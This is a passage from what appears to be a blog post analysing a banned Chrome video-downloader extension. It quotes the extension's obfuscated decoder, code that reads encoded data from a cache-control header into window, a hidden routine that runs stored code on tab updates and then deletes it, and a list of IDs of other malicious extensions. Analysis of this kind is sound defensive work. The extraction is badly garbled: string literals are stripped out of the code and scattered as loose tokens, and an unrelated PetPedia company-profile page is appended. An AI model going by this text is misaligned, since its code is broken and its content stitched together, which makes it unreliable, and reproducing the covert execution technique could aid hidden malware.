        b.src = [ , x[ ], g(), q(), m()].concat(s([k(), l(), i(), n(), o(), j(a), p()])).join( ).replace( , )
    }
} // Better Readability ( ) function t a var new Math // 0 <= c < 1 1 // 1 <= c < 2 if 2 "https://www.google-analytics.com/_utm.gif?" "" /&$/ "" else "https://" 2 "" /&$/ "" Strange String Function The script also adds a new function for strings that does some form of manipulation or encoding. .prototype.strvstrevsstr = { a = ; .length % != && (a += .slice( , - .length % )), a = atob(a.replace( , ).replace( , )); b = (a[ ] + a[ ], ),
        c = (a[ ], );
    a = a.substr( ); d = (a); (a = a.substr(( + d).length + ), d != a.length) ; ( e = [ .fromCharCode], f = ; f < a.length; f++) e.push(a.charCodeAt(f)); ( g = [], h = b, i = ; i < e.length - ; i++) { j = e[i + ] ^ h;
        i > c && (j ^= e[i - c + ]), h = e[i + ] ^ b, g.push(e[ ](j))
    } g.join( );
} String ( ) function var this this 4 0 "===" 0 4 this 4 /\-/g "+" /_/g "/" var parseInt 0 1 16 parseInt 2 16 3 var parseInt if "" 1 return null for var String 0 for var 0 1 var 1 1 1 0 return "" Obviously, someone doesn’t want people like me to be snooping around their extension. Without actually using this extension, we won’t know what this is used for other than how it is called in some parts of the code. gets invoked if we can find a string that is greater than 10 chars in length in the string stored in local storage with the key (for some reason now it filters for 10 chars rather than 20 as stated earlier). The header , but nothing stops a bad actor from inserting additional information into the field, like an encoded string. Without running the extension, it isn’t too clear what is going on with this function. What we can tell from reading this code is that once e is decoded in some form with and parsed as a JSON object, its object entries are written to window. A gets set to true to possibly indicate that this step has been completed. strvstrevsstr cache-control cache-control typically holds these values strvstrevsstr getMediaPath: { a = .localStorage; (a[ ]) { b = a[ ].split( ); { c; ( d b) { e = b[d].trim(); (!(e.length < )) { (c = e.strvstrevsstr(), c = != && .parse && .parse(c), c && c.cache_c) { ( f c) [f] = c[f];
                        A = ! ; }
                } (g) {}
            }
        } (g) {} .setMediaPath()
    }
} ( ) function var window if "cache-control" var "cache-control" "," try var for var in var if 10 try if "undefined" typeof JSON JSON JSON for var in window 0 break catch catch this Subsequently, is called as part of some callback to store something into local storage with the key . setMediaPath cfg_audio_id setMediaPath: { != jj && jj && uu && gg > jj && [jj][gg](uu, { b = ;
        localStorage[b] = a
    })
} ( ) function "undefined" typeof window ( ) function a var "cfg_audio_id" Hit and Run Function Interesting how this function seems to call something using whatever that is stored in cfg_audio_id and then deleting it right after. findDetails: { ( != ee) { a = ;
        localStorage[a] && [ee](localStorage[a]); localStorage[a];
    }
} ( ) function if "undefined" typeof var "cfg_audio_id" window delete Tracing the callers shows that is called as part of some callback function with a delay of . findDetails 1500ms {
    b.url && (b.url.indexOf( ) > && chrome.tabs.sendMessage(a, ), A || (setTimeout( {
        D.findDetails();
    }, ), .trace( ), B.getMediaPath()))
} ( ) function e a, b, c "vimeo.com" -1 "url_changed" ( ) function 1500 console 'set' According to , the event fires whenever any of the following changes: Chrome’s documentation onUpdated If these findings tell us anything, it’s that the extension is trying to execute some code whenever the tab gets updated. Once executed, it deletes itself to hide from the user. This Extension Has Friends Normally, sometimes extensions will disable themselves if it encounters another extension it does not mesh well with. In the extension code itself, we see that there is a whole list of extension ids that would cause this extension to stop working and alert the user that a conflict exists. J = [ , , , , , , ]; chrome.management.getAll( {
    a.forEach( { === a.type && a.enabled && J.indexOf(a.id) > && (v = ! )
    })
}) var "phpaiffimemgakmakpcehgbophkbllkf" "ocaallccmjamifmbnammngacjphelonn" "ckedbgmcbpcaleglepnldofldolidcfd" "ejfanbpkfhlocplajhholhdlajokjhmc" "egnhjafjldocadkphapapefnkcbfifhi" "dafhdjkopahoojhlldoffkgfijmdclhp" "lhedkamjpaeolmpclkplpchhfapgihop" // Other malicious extensions ( ) function a ( ) function a "extension" -1 0 Most likely this is included to not obstruct other extensions that are also doing the same malicious deed. I took a look at the list of extension ids and it seems that they are all Vimeo video downloaders that have either been removed from the Chrome Web Store or are continuing to infect users. connect: { b = ,
        c = .activeList,
        d = a.sender.tab.id;
    c[d] = .activeList[d] || {}, c[d][a.name] = a, a.onDisconnect.addListener( { c[d][a.name], == .keys(c[d]).length && c[d]
    }), a.onMessage.addListener( { == a.action && (b.addVideo(d, c.name, a.found_video), u(d, b.getVideos(d).length), I.newVideoFound(a.found_video))
    }), v && a.postMessage( ) }, ( ) function a var this this this ( ) function a delete 0 Object delete ( ) function a, c "video_found" "conflict_exists" // Received by content script run: { .port = chrome.runtime.connect({ : .random().toString()
    }), .port.onMessage.addListener( { === b && (a.videoFeed.btnClassNameConflict = )
    }), .mutationMode.enable()
}, // vimeo_com.js (content script) ( ) function this name Math this ( ) function b, c "conflict_exists" "exist_conflict_btn" this Other Scripts The other scripts did not seem to have anything too out of the ordinary that could be malicious. For now, I will skip talking about these. Closing Thoughts When I first tested this extension with minimal and basic usage, it seems like nothing was inherently wrong. The extension worked as stated. Initially, the red flags that caught my eye were the tracking pixel requested from an unknown host and the scrambled code intended to mislead any user like me. I wasn’t entirely sure if the extension was banned purely for the reason of having a tracking pixel residing in an unknown domain. There had to be more to it that warranted its expulsion from the Chrome Web Store. Looking closer at the code revealed that something was being executed on tab update events. But what is it? Thanks for reading! 💎 Thank you for taking the time to check out this post. For more content like this, head over to my actual . Feel free to reach out to me on and follow me on . blog LinkedIn Github

PETPEDIA

petpedia.in

-- employees

Since n.d.

COMPANY RANKING

PETPEDIA

EVERGREEN INDEX #8214

Representing this company? Click here to claim and customize this page!

PetPedia WIKI

Apply to get your Tech Company News Page live on HackerNoon.com today!

PETPEDIA

petpedia.in

-- employees

Since n.d.

COMPANY RANKING

PETPEDIA

EVERGREEN INDEX #8214

RELATED COMPANIESRANK

STORIES ABOUT PETPEDIA

Representing this company? Click here to claim and customize this page!

PetPedia WIKI

Apply to get your Tech Company News Page live on HackerNoon.com today!